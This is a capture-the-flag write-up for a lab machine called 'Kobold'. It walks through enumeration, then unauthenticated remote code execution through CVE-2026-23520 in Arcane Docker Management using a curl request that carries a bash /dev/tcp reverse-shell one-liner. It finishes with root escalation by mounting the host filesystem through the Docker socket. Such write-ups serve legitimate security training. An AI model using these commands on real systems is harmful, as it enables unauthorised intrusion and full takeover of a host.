ß
MISC EASY
TomatoBuster 2026  ·  Mar 24, 2026

Kobold

API endpoint exploitation via CVE-2026-23520 to gain a reverse shell as ben, then abusing the Docker socket to mount the host filesystem and obtain the root flag.

Category
Miscellaneous
Architecture
Linux
Protections
None
Solver
@Tomat0Buster
// Table of Contents
01

Reconnaissance & Website Analysis

We start by enumerating with nmap and gobuster as usual. Nmap reveals a web server on port 80/443, and gobuster vhost enumeration turns up 2 interesting subdomains.

bash — 80×24
$ nmap 10.129.15.195
  Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-24 14:26 CET
  Nmap scan report for kobold.htb (10.129.16.53)
  Host is up (0.075s latency).
  Not shown: 997 closed tcp ports (conn-refused)
  PORT    STATE SERVICE
  22/tcp  open  ssh
  80/tcp  open  http
  443/tcp open  https

  Nmap done: 1 IP address (1 host up) scanned in 13.69 seconds

  $ gobuster vhost -u "https://kobold.htb" -w "bitquark-subdomains-top100000.txt" --append-domain --no-tls-validation
  ===============================================================
  Gobuster v3.8.2
  by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
  ===============================================================
  [+] Url:                       https://kobold.htb
  [+] Method:                    GET
  [+] Threads:                   10
  [+] Wordlist:                  ./bitquark-subdomains-top100000.txt
  [+] User Agent:                gobuster/3.8.2
  [+] Timeout:                   10s
  [+] Append Domain:             true
  ===============================================================
  Starting gobuster in VHOST enumeration mode
  ===============================================================
  mcp.kobold.htb Status: 200 [Size: 466]
  bin.kobold.htb Status: 200 [Size: 24402]
  Progress: 10853 / 100000 (10.85%)
    
      

Visiting the two subdomains reveals their purposes:

Key Findings Two distinct services: a PrivateBin instance at bin.kobold.htb and an Arcane Docker Management MCP server at mcp.kobold.htb. The MCP panel's version info is visible in the page source — it's running Arcane Docker Management v1.13.0.
02

Vulnerability Analysis

A quick Google search for CVEs related to PrivateBin and Arcane Docker Management leads us to CVE-2026-23520. This vulnerability affects Arcane Docker Management v1.13.0 and below.

The flaw lies in the /api/mcp/connect endpoint: it accepts a JSON payload with a serverConfig object that specifies a command and args to execute. Because no authentication or input validation is enforced, an unauthenticated attacker can pass arbitrary shell commands and achieve Remote Code Execution.

CVE Service Version Impact Severity
CVE-2026-23520 Arcane Docker Management ≤ v1.13.0 Unauthenticated RCE via /api/mcp/connect CRITICAL
Attack Surface The /api/mcp/connect endpoint takes a serverConfig.command value and executes it server-side with no sanitisation. Passing bash with a reverse-shell one-liner in args is all we need.
03

Exploit — Reverse Shell via CVE-2026-23520

We set up a listener on our attacker machine, then trigger the vulnerable endpoint with a crafted curl command.

1
// Start a reverse shell listener

Open a terminal and start ncat listening on port 4444.

terminal 1 — listener
$ ncat -lvp 4444
  Ncat: Version 7.95 ( https://nmap.org/ncat )
  Ncat: Listening on :::4444
  Ncat: Listening on 0.0.0.0:4444
2
// Trigger the vulnerable endpoint

In a second terminal, fire the exploit with curl. The serverConfig tells the server to run bash -c with a standard TCP reverse shell one-liner pointing back at our IP.

terminal 2 — exploit
$ curl -k -X POST https://mcp.kobold.htb/api/mcp/connect \
    -H "Content-Type: application/json" \
    -d '{"serverId": "shell1", "serverConfig": {"command": "bash", "args": ["-c", "bash -i >& /dev/tcp/10.10.14.194/4444 0>&1"], "env": {}}}'
3
// Shell received

Switching back to terminal 1, we catch the incoming connection and confirm we are running as user ben.

terminal 1 — shell
Ncat: Connection from 10.129.16.53.
  Ncat: Connection from 10.129.16.53:54312.
  ben@kobold:~$ id
  uid=1001(ben) gid=1001(ben) groups=1001(ben)
4
// Stabilize the shell

The raw reverse shell is dumb — no tab completion, no arrow keys, and Ctrl+C kills the whole session. We upgrade it to a fully interactive TTY in three quick moves.

terminal 1 — stabilize
# 1. Spawn a proper PTY inside the reverse shell
  ben@kobold:~$ python3 -c 'import pty; pty.spawn("/bin/bash")'
  ben@kobold:~$

  # 2. Background the shell, then fix the local terminal settings
  ben@kobold:~$ ^Z
  [1]+  Stopped                 ncat -lvp 4444
  $ stty raw -echo; fg
  ncat -lvp 4444

  # 3. Set the terminal type so colours and clear work correctly
  ben@kobold:~$ export TERM=xterm
  ben@kobold:~$ 
Why each step matters pty.spawn allocates a pseudo-terminal so the shell behaves like a real one. stty raw -echo stops our local terminal from intercepting keystrokes before they reach the remote shell. fg brings ncat back to the foreground with those settings active. Finally, export TERM=xterm lets programs like nano and clear render correctly.
04

User Flag

With a shell as ben, the user flag is sitting right in the home directory.

ben@kobold
ben@kobold:~$ cat user.txt
  HTB{REDACTED}
User Flag Captured CVE-2026-23520 gives us an unauthenticated shell straight into the box. First flag done — now let's escalate.
05

Privilege Escalation via Docker Socket

While enumerating the system we notice that Docker is running. However, ben is not in the docker group, so running docker commands fails.

ben@kobold
ben@kobold:~$ docker ps
  permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.50/containers/json": dial unix /var/run/docker.sock: connect: permission denied
1
// Add ourselves to the docker group

Despite the restriction, we can simply switch our active group to docker using newgrp, which gives us access to the Docker socket for the current session.

ben@kobold
ben@kobold:~$ newgrp docker
  ben@kobold:~$ docker ps
  CONTAINER ID   IMAGE     COMMAND   CREATED   STATUS    PORTS     NAMES
  4c49dd7bb727   privatebin/nginx-fpm-alpine:2.0.2   "/etc/init.d/rc.local"   5 weeks ago   Up 2 hours   127.0.0.1:8080->8080/tcp   bin
  
2
// Mount the host filesystem into a container

The PrivateBin image privatebin/nginx-fpm-alpine:2.0.2 is already downloaded on the machine. We spin up a container as root (-u 0) and mount the entire host filesystem to /mnt.

ben@kobold
ben@kobold:~$ docker run --rm -it -u 0 --entrypoint sh -v /:/mnt privatebin/nginx-fpm-alpine:2.0.2
  / #
3
// chroot into the host

Using chroot we pivot from the container's view into the host filesystem mounted at /mnt, giving us a full root shell on the actual machine.

container → host
/ # chroot /mnt sh
  # id
  uid=0(root) gid=0(root) groups=0(root)
Why this works Access to the Docker socket is equivalent to root on the host. By mounting / and chrooting into it from within the container (which runs as root), all filesystem protections are bypassed entirely.
06

Root Flag

With a root shell on the host, we navigate to /root and collect the final flag.

root@kobold
# cd /root
  # ls
  root.txt
  # cat root.txt
  HTB{REDACTED}
// Root Flag Captured
HTB{REDACTED}
Related Writeups View all →